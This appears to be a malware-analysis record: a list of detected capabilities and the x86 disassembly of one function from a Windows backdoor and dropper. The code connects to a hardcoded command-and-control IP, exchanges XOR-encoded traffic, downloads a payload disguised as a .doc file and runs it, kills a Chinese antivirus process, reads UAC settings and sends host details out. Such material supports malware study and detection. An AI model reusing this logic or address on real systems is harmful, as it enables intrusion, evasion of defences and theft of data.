Function at 0x412a00
Capabilities:
Act as tcp client
Check if file exists
Connect socket
Connect tcp socket
Create directory
Create http request
Create process on windows
Create process suspended
Create tcp socket
Create thread
Delete file
Download and write a file
Encode data using xor
Enumerate process modules
Get common file path
Get file attributes
Get hostname
Initialize winsock library
Query or enumerate registry value
Read data from internet
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43541e
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x18be8
call fcn.0042eb80
mov eax, dword [0x442754]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push str.MyData
push 0
push 0xf001f
mov dword [ebp - 0x18b6c], esi
mov dword [0x45f418], eax
mov dword [0x45f414], esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
push 0
mov edi, eax
push 0xf001f
push edi
mov dword [ebp - 0x18b50], edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
mov eax, dword [esi]
mov ecx, str.C:UsersPublicUpdateexplorer
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x412aa4
test dl, dl
je 0x412a9e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x412aa4
add eax, 2
add ecx, 2
test dl, dl
jne 0x412a82
xor esi, esi
xor eax, eax
jmp 0x412aab
sbb eax, eax
sbb eax, 0xffffffff
xor esi, esi
cmp eax, esi
jne 0x412afb
push esi
push esi
lea edx, [ebp - 0x18b80]
push edx
push 0x40aa60
push esi
lea ecx, [ebp - 0x18b4c]
push esi
mov dword [ebp - 0x18b80], ecx
mov dword [ebp - 0x18b7c], esi
mov dword [ebp - 0x18b78], esi
mov dword [ebp - 0x18b74], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x412b46
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x412b46
cmp edi, esi
je 0x412bf9
cmp ebx, esi
je 0x412bf9
cmp byte [ebx], 0
je 0x412bf9
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412b20
sub eax, edx
inc eax
push eax
call fcn.0041a4ce
mov edi, eax
add esp, 4
test edi, edi
jne 0x412b64
push 0x43db80
call fcn.0041cb2c
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412b70
sub eax, edx
push ebx
inc eax
push eax
push edi
call fcn.0041f12a
mov eax, ebx
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412b90
sub eax, edx
push eax
push 0
push ebx
call fcn.00421fd0
add esp, 0xc
push 0
push 0
push edi
push 0x40ede0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
jne 0x412bc9
push 0x43db98
jmp 0x412b3e
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call fcn.0041bf51
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x18b50]
push eax
call esi
jmp 0x412b46
push 0x412870
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push str.0923.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, esi
je 0x412c1d
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x104
push str.None
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x18b48]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x412c60
push esi
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x18b4c], eax
cmp eax, 0xffffffff
jne 0x412c6a
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x412b48
push 0xa
mov edx, 2
push esi
push str.61080
mov word [ebp - 0x18964], dx
call fcn.0041c977
add esp, 0xc
push eax
call dword [sym.imp.WS2_32.dll_htons]
push str.42.194.225.63
mov word [ebp - 0x18962], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x18960], eax
jmp 0x412cb0
mov ecx, dword [ebp - 0x18b4c]
push 0x10
lea eax, [ebp - 0x18964]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x412cd8
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x412cb0
mov eax, dword [ebp - 0x18b4c]
push esi
push 1
lea edx, [ebp - 0x18b5c]
push edx
push eax
mov word [ebp - 0x18b5c], 0x31
call dword [sym.imp.WS2_32.dll_send]
push 0x15b38
lea ecx, [ebp - 0x1891c]
push esi
push ecx
call fcn.00421fd0
add esp, 0xc
push 0x400
xor ebx, ebx
lea edx, [ebp - 0x5e4]
push ebx
push edx
mov dword [ebp - 0x18b64], esi
call fcn.00421fd0
mov ecx, dword [ebp - 0x18b4c]
add esp, 0xc
push ebx
push 0x400
lea eax, [ebp - 0x5e4]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
mov dword [ebp - 0x18b50], edi
xor eax, eax
mov edi, edi
cmp eax, edi
jge 0x412d5f
xor byte [ebp + eax - 0x5e4], 0x88
inc eax
jmp 0x412d50
push 5
mov esi, 0xf
push str.IsEnd
lea ecx, [ebp - 0x18938]
mov byte [ebp + edi - 0x5e4], bl
mov dword [ebp - 0x18924], esi
mov dword [ebp - 0x18928], ebx
mov byte [ebp - 0x18938], bl
call fcn.00417270
mov byte [ebp - 4], 1
lea eax, [ebp - 0x5e4]
mov dword [ebp - 0x18940], esi
mov dword [ebp - 0x18944], ebx
mov byte [ebp - 0x18954], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412db0
sub eax, edx
push eax
lea edx, [ebp - 0x5e4]
push edx
lea ecx, [ebp - 0x18954]
call fcn.00417270
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x18944]
mov eax, dword [ebp - 0x18928]
cmp esi, eax
jae 0x412de4
xor bl, bl
jmp 0x412e62
mov edx, esi
sub edx, eax
or edi, 0xffffffff
cmp eax, 0xffffffff
jae 0x412df2
mov edi, eax
cmp dword [ebp - 0x18924], 0x10
mov ecx, dword [ebp - 0x18938]
jae 0x412e07
lea ecx, [ebp - 0x18938]
mov ebx, eax
cmp esi, edx
jae 0x412e17
push str.invalid_string_position
call fcn.0041a925
sub esi, edx
cmp esi, eax
jae 0x412e1f
mov ebx, esi
mov eax, ebx
cmp ebx, edi
jb 0x412e27
mov eax, edi
cmp dword [ebp - 0x18940], 0x10
mov esi, dword [ebp - 0x18954]
jae 0x412e3c
lea esi, [ebp - 0x18954]
add edx, esi
call fcn.00401050
test eax, eax
jne 0x412e59
cmp ebx, edi
jae 0x412e50
or eax, 0xffffffff
jmp 0x412e57
xor eax, eax
cmp ebx, edi
setne al
test eax, eax
mov edi, dword [ebp - 0x18b50]
sete bl
cmp dword [ebp - 0x18940], 0x10
jb 0x412e7a
mov eax, dword [ebp - 0x18954]
push eax
call fcn.0041bbe0
add esp, 4
xor esi, esi
mov byte [ebp - 4], 0
cmp dword [ebp - 0x18924], 0x10
mov dword [ebp - 0x18940], 0xf
mov dword [ebp - 0x18944], esi
mov byte [ebp - 0x18954], 0
jb 0x412eaf
mov ecx, dword [ebp - 0x18938]
push ecx
call fcn.0041bbe0
add esp, 4
push edi
test bl, bl
je 0x4130b8
mov eax, dword [ebp - 0x18b64]
lea edx, [ebp - 0x5e4]
push edx
lea ecx, [ebp + eax - 0x1891c]
push ecx
call fcn.00420fc0
add esp, 0xc
push 5
mov ebx, 0xf
push str.IsEnd
lea ecx, [ebp - 0x18938]
mov dword [ebp - 0x18924], ebx
mov dword [ebp - 0x18928], esi
mov byte [ebp - 0x18938], 0
call fcn.00417270
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1891c]
mov dword [ebp - 0x18940], ebx
mov dword [ebp - 0x18944], esi
mov byte [ebp - 0x18954], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412f20
sub eax, edx
push eax
lea edx, [ebp - 0x1891c]
push edx
lea ecx, [ebp - 0x18954]
call fcn.00417270
lea eax, [ebp - 0x18938]
push eax
lea edx, [ebp - 0x18954]
lea ecx, [ebp - 0x18bac]
mov byte [ebp - 4], 4
call fcn.004060a0
add esp, 4
mov edi, 0x10
cmp dword [ebp - 0x18940], edi
jb 0x412f77
mov ecx, dword [ebp - 0x18954]
push ecx
call fcn.0041bbe0
add esp, 4
mov dword [ebp - 0x18940], ebx
mov dword [ebp - 0x18944], esi
mov byte [ebp - 0x18954], 0
mov byte [ebp - 4], 7
cmp dword [ebp - 0x18924], edi
jb 0x412fa5
mov edx, dword [ebp - 0x18938]
push edx
call fcn.0041bbe0
add esp, 4
mov esi, dword [ebp - 0x18bac]
xor ebx, ebx
mov dword [ebp - 0x18924], 0xf
mov dword [ebp - 0x18928], ebx
mov byte [ebp - 0x18938], bl
mov ecx, dword [ebp - 0x18ba8]
lea eax, [ecx - 0x1c]
cmp esi, eax
je 0x412ff8
cmp dword [esi + 0x14], 0x10
jb 0x412fda
mov eax, dword [esi]
jmp 0x412fdc
mov eax, esi
push eax
call fcn.004305ff
mov ecx, dword [ebp - 0x18b4c]
push ecx
mov ecx, eax
call fcn.0040ff90
add esp, 8
add esi, 0x1c
jmp 0x412fc3
mov byte [ebp - 4], bl
mov esi, dword [ebp - 0x18bac]
cmp esi, ebx
je 0x41303c
mov edi, ecx
cmp esi, edi
je 0x41302d
cmp dword [esi + 0x14], 0x10
jb 0x41301c
mov edx, dword [esi]
push edx
call fcn.0041bbe0
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
add esi, 0x1c
jmp 0x413007
mov eax, dword [ebp - 0x18bac]
push eax
call fcn.0041bbe0
add esp, 4
cmp dword [0x45f390], 1
jne 0x413060
push str.C:UsersPublicUpdate
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x413060
push ebx
push str.C:UsersPublicUpdate
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.0040cb10
mov dword [0x45f408], eax
call fcn.004071d0
mov edi, eax
test edi, edi
je 0x4133e5
push str.C:UsersPublicUpdateWindowsSecurity.exe
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x413091
test al, 0x10
je 0x4133e5
mov ecx, str.explore.exe
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4130e2
test dl, dl
je 0x4130b4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4130e2
add eax, 2
add ecx, 2
test dl, dl
jne 0x413098
xor eax, eax
jmp 0x4130e7
mov esi, dword [ebp - 0x18b64]
lea ecx, [ebp - 0x5e4]
push ecx
lea edx, [ebp + esi - 0x1891c]
push edx
call fcn.00420fc0
add esp, 0xc
add esi, edi
jmp 0x412d0d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4133e5
cmp dword [0x45f38c], 1
jne 0x4133e5
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413101
sub eax, edx
add eax, 0x14
push eax
call fcn.0041c606
mov ebx, eax
mov eax, edi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413120
sub eax, edx
inc eax
push eax
call fcn.0041c606
mov esi, eax
mov edx, esi
add esp, 4
mov dword [ebp - 0x18b50], esi
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x413141
push str..exe
push esi
call fcn.0041d490
add esp, 8
test eax, eax
je 0x41316e
mov ecx, dword [str..doc]
mov dword [eax], ecx
mov dl, byte [0x43dc0c]
mov byte [eax + 4], dl
test ebx, ebx
je 0x4133e5
mov eax, dword [str.C:WindowsTemp_]
mov dword [ebx], eax
mov ecx, dword [0x43dc14]
mov dword [ebx + 4], ecx
mov edx, dword [0x43dc18]
mov dword [ebx + 8], edx
mov eax, dword [0x43dc1c]
mov dword [ebx + 0xc], eax
mov cl, byte [0x43dc20]
mov eax, edi
mov byte [ebx + 0x10], cl
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4131a4
sub eax, esi
lea edi, [ebx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4131b0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push str..exe
push ebx
rep movsb byte es:[edi], byte [esi]
call fcn.0041d490
add esp, 8
test eax, eax
je 0x4133e5
mov edx, dword [str..doc]
push 0
push 0
push 0
mov dword [eax], edx
mov cl, byte [0x43dc0c]
push 0
push str.RookIE_1.0
mov byte [eax + 4], cl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edx, dword [ebp - 0x18b50]
push 0
push 0x4000000
push 0
push 0
push edx
push str.:63080_
push str.42.194.225.63
push str.http:__
push 4
mov esi, eax
call fcn.00402eb0
add esp, 0x14
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x18b50], eax
test eax, eax
je 0x4133e5
push 0x1400000
call fcn.0041c606
push 0x1400000
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ebx
mov dword [ebp - 0x18b58], 1
mov dword [ebp - 0x18b84], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x4133e5
mov ecx, dword [ebp - 0x18b50]
lea eax, [ebp - 0x18b58]
push eax
push 0x1400000
push esi
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x18b58]
test eax, eax
jne 0x4132cf
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0041ba30
add esp, 4
jmp 0x4133e5
push 0
lea edx, [ebp - 0x18b84]
push edx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0041ba30
push 0x44
lea eax, [ebp - 0x18bf8]
push 0
push eax
call fcn.00421fd0
xor eax, eax
add esp, 0x10
push str.C:Program_Files__x86_360360SafeSoftMgr360FileAssoc.exe
mov dword [ebp - 0x18b80], eax
mov dword [ebp - 0x18b7c], eax
mov dword [ebp - 0x18b78], eax
mov dword [ebp - 0x18b74], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4133af
test al, 0x10
jne 0x4133af
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x18b50]
push ecx
push 0x20019
push 0
push str.SOFTWAREMicrosoftOffice
push reloc.WS2_32.dll_bind
call esi
test eax, eax
jne 0x413374
mov edx, dword [ebp - 0x18b50]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x18b80]
push edx
lea eax, [ebp - 0x18bf8]
push eax
jmp 0x4133bd
lea eax, [ebp - 0x18b70]
push eax
push 0x20019
push 0
push str.SOFTWAREWPS_Office
push reloc.WS2_32.dll_bind
call esi
test eax, eax
jne 0x4133e5
mov ecx, dword [ebp - 0x18b70]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x18b80]
push edx
lea eax, [ebp - 0x18bf8]
push eax
jmp 0x4133bd
lea ecx, [ebp - 0x18b80]
push ecx
lea edx, [ebp - 0x18bf8]
push edx
push 0
push 0
push 8
push 0
push 0
push 0
push ebx
push str._C_start
push 2
call fcn.00402eb0
add esp, 0xc
push eax
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp dword [0x45f388], 1
jne 0x41340d
mov ecx, dword [ebp - 0x18b4c]
lea eax, [ebp - 0x18b54]
push eax
push 0
push ecx
push 0x411f40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edx, [ebp - 0x18b54]
push edx
mov esi, eax
push 4
lea eax, [ebp - 0x18b50]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x4134bf
mov edx, dword [ebp - 0x18b50]
push 0x104
lea ecx, [ebp - 0x18abc]
push ecx
push edx
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
mov ecx, str.ZhuDongFangYu.exe
lea eax, [ebp - 0x18abc]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x413480
test dl, dl
je 0x41347c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x413480
add eax, 2
add ecx, 2
test dl, dl
jne 0x413460
xor eax, eax
jmp 0x413485
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4134bf
lea ebx, [ebp - 0x18b50]
call fcn.00407120
test eax, eax
je 0x4134bf
mov eax, dword [ebp - 0x18b50]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4134bf
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18bb4]
push ecx
xor ebx, ebx
push ebx
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x18b4c]
push edx
push 0x4126a0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x400
lea eax, [ebp - 0x5e4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x41353c
lea ecx, [ebp - 0x5e4]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov edi, eax
cmp edi, ebx
je 0x41353c
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413511
sub eax, edx
inc eax
push eax
call fcn.0041c606
add esp, 4
cmp eax, ebx
je 0x41353c
mov esi, eax
mov ecx, edi
sub esi, edi
mov edi, edi
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x413530
jmp 0x41353e
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x45f404], eax
call edi
push ebx
mov esi, eax
call fcn.0041c433
push esi
push eax
mov dword [ebp - 0x18ba0], edx
lea edx, [ebp - 0x18954]
push str._ld__lu
push edx
call fcn.0041c484
lea eax, [ebp - 0x18954]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413578
sub eax, edx
lea eax, [eax + eax + 1]
push eax
call fcn.0041c606
lea ecx, [ebp - 0x18954]
mov edx, eax
mov dword [ebp - 0x18b50], eax
mov eax, ecx
add esp, 4
sub edx, eax
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x4135a0
call fcn.00405690
mov dword [ebp - 0x18b64], eax
call fcn.00405ce0
lea ecx, [ebp - 0x18bb0]
push ecx
push 0x45f554
mov dword [ebp - 0x18b84], eax
mov dword [ebp - 0x18bb0], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 0x18b90], 0x45f554
test eax, eax
jne 0x4135f4
mov dword [ebp - 0x18b90], 0x439650
mov edx, dword [0x45f404]
mov dword [ebp - 0x18b70], edx
call edi
push eax
lea eax, [ebp - 0x54]
push 0x43a90c
push eax
call fcn.0041c484
lea eax, [ebp - 0x54]
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413620
sub eax, edx
inc eax
push eax
call fcn.0041c606
add esp, 4
cmp eax, ebx
jne 0x41363f
mov dword [ebp - 0x18b94], ebx
jmp 0x413658
lea ecx, [ebp - 0x54]
mov esi, eax
mov edx, ecx
sub esi, edx
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x413648
mov dword [ebp - 0x18b94], eax
call fcn.004057f0
cmp byte [eax + 1], 0x36
mov dword [ebp - 0x18b98], eax
lea ecx, [ebp - 0x1895c]
sete al
push ecx
mov byte [0x443a78], al
call fcn.0041c433
lea edx, [ebp - 0x1895c]
push edx
call fcn.0041c40c
push eax
push str._m__d__H:_M:_S
lea eax, [ebp - 0x40]
push 0x14
push eax
call fcn.0041e056
lea eax, [ebp - 0x40]
add esp, 0x18
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4136a1
sub eax, edx
inc eax
push eax
call fcn.0041c606
add esp, 4
cmp eax, ebx
jne 0x4136c0
mov dword [ebp - 0x18b58], ebx
jmp 0x4136e0
lea ecx, [ebp - 0x40]
mov esi, eax
mov edx, ecx
sub esi, edx
lea esp, [esp]
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x4136d0
mov dword [ebp - 0x18b58], eax
lea eax, [ebp - 0x18abc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
inc eax
push eax
call fcn.0041c606
add esp, 4
cmp eax, ebx
jne 0x413708
mov dword [ebp - 0x18b8c], ebx
jmp 0x413724
lea ecx, [ebp - 0x18abc]
mov esi, eax
mov edx, ecx
sub esi, edx
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x413714
mov dword [ebp - 0x18b8c], eax
mov eax, dword [0x45f408]
mov dword [ebp - 0x18b88], eax
call fcn.00406920
mov dword [ebp - 0x18b9c], eax
xor eax, eax
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x2b], eax
mov dword [ebp - 0x27], eax
mov word [ebp - 0x23], ax
mov byte [ebp - 0x21], al
call fcn.0040cfe0
test al, al
je 0x41376e
mov ecx, dword [0x43bdf4]
mov al, byte [0x43bdfc]
mov edx, dword [0x43bdf8]
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x24], al
jmp 0x413790
mov ecx, dword [0x43be00]
mov ax, word [0x43be08]
mov edx, dword [0x43be04]
mov dword [ebp - 0x2c], ecx
mov cl, byte [0x43be0a]
mov word [ebp - 0x24], ax
mov byte [ebp - 0x22], cl
mov dword [ebp - 0x28], edx
lea edx, [ebp - 0x18b5c]
push edx
xor eax, eax
push 0x20019
push ebx
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov eax, 4
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.WS2_32.dll_bind
mov byte [ebp - 0x20], bl
mov dword [ebp - 0x18b68], eax
mov dword [ebp - 0x18b60], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x413814
lea eax, [ebp - 0x18b60]
push eax
mov eax, dword [ebp - 0x18b5c]
lea ecx, [ebp - 0x18b54]
push ecx
lea edx, [ebp - 0x18b68]
push edx
push ebx
push str.ConsentPromptBehaviorAdmin
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
je 0x413883
mov ecx, dword [ebp - 0x18b5c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x43be1c]
mov edx, dword [0x43be20]
mov eax, dword [0x43be24]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], eax
cmp dword [ebp + 8], 1
jle 0x413930
mov edi, dword [ebp + 8]
xor esi, esi
lea ecx, [esi + 1]
cmp edi, ecx
jle 0x413862
mov edx, dword [ebp - 0x18b6c]
mov eax, dword [edx + ecx*4]
lea ebx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x413850
sub eax, ebx
inc ecx
lea esi, [esi + eax + 1]
cmp ecx, edi
jl 0x413844
push esi
call fcn.0041c606
add esp, 4
mov dword [0x443b84], eax
test eax, eax
jne 0x4138c4
mov dword [0x443b84], 0x439650
jmp 0x413930
mov edx, dword [ebp - 0x18b5c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18b54], ebx
jne 0x4138ae
mov eax, dword [0x43be0c]
mov ecx, dword [0x43be10]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
jmp 0x41382e
mov edx, dword [0x43be14]
mov eax, dword [0x43be18]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
jmp 0x41382e
mov ebx, 1
mov byte [eax], 0
cmp edi, ebx
jle 0x413930
cmp ebx, 1
jle 0x4138f1
mov edi, dword [0x443b84]
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4138e0
mov ax, word [0x43ace4]
mov word [edi], ax
mov ecx, dword [ebp - 0x18b6c]
mov ecx, dword [ecx + ebx*4]
mov edx, ecx
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413900
mov edi, dword [0x443b84]
sub ecx, edx
mov esi, edx
mov edx, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x413914
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
cmp ebx, dword [ebp + 8]
jl 0x4138d0
call fcn.00405aa0
mov esi, eax
test esi, esi
jne 0x413940
mov esi, 0x439650
push 0x439d94
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41395e
mov edx, 0x31
mov word [0x45f410], dx
jmp 0x413969
mov eax, 0x30
mov word [0x45f410], ax
push 0x43a980
push 0x45f410
push 0x43aec4
push esi
mov ecx, dword [0x443b84]
push 0x43aec4
push ecx
push 0x43aec4
mov ecx, dword [ebp - 0x18b9c]
lea edx, [ebp - 0x20]
push edx
push 0x43aec4
mov edx, dword [ebp - 0x18b88]
lea eax, [ebp - 0x2c]
push eax
push 0x43aec4
push str.None
mov eax, dword [ebp - 0x18b8c]
push 0x43aec4
push ecx
mov ecx, dword [ebp - 0x18b58]
push 0x43aec4
push edx
mov edx, dword [ebp - 0x18b98]
push 0x43aec4
push eax
mov eax, dword [ebp - 0x18b94]
push 0x43aec4
push ecx
mov ecx, dword [ebp - 0x18b70]
push 0x43aec4
push edx
mov edx, dword [ebp - 0x18b90]
push 0x43aec4
push eax
mov eax, dword [ebp - 0x18b84]
push 0x43aec4
push ecx
mov ecx, dword [ebp - 0x18b64]
push 0x43aec4
push edx
mov edx, dword [ebp - 0x18b50]
push 0x43aec4
push eax
push 0x43aec4
push ecx
push 0x43aec4
push str.0.0.0.0
push 0x43aec4
push edx
push 0x43be54
push 0x25
call fcn.00402eb0
mov edi, eax
add esp, 0x98
test edi, edi
je 0x413ab0
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413a50
sub eax, edx
mov ebx, eax
mov eax, dword [ebp - 0x18b4c]
mov dword [ebp - 0x18b54], eax
lea eax, [ebx + 1]
push eax
call fcn.0041c606
mov esi, eax
lea eax, [ebx + 1]
push eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
test esi, esi
je 0x413a9f
push ebx
push edi
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test ebx, ebx
je 0x413a9f
xor byte [eax + esi], 0xbb
inc eax
cmp eax, ebx
jb 0x413a96
mov ecx, dword [ebp - 0x18b54]
push 0
push ebx
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edx, dword [ebp - 0x18b88]
push 0x43bafc
push edx
call fcn.0041d490
add esp, 8
test eax, eax
je 0x413c4a
mov eax, dword [ebp - 0x18b6c]
mov eax, dword [eax]
mov ecx, str.C:UsersPublicUpdateWindowsSecurity.exe
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x413b00
test dl, dl
je 0x413afc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x413b00
add eax, 2
add ecx, 2
test dl, dl
jne 0x413ae0
xor eax, eax
jmp 0x413b05
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x413c4a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:UsersPublicUpdate0923.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x413bb9
lea ecx, [ebp - 0x11c]
push 0x43dcf8
push ecx
call fcn.0041c484
lea eax, [ebp - 0x11c]
add esp, 8
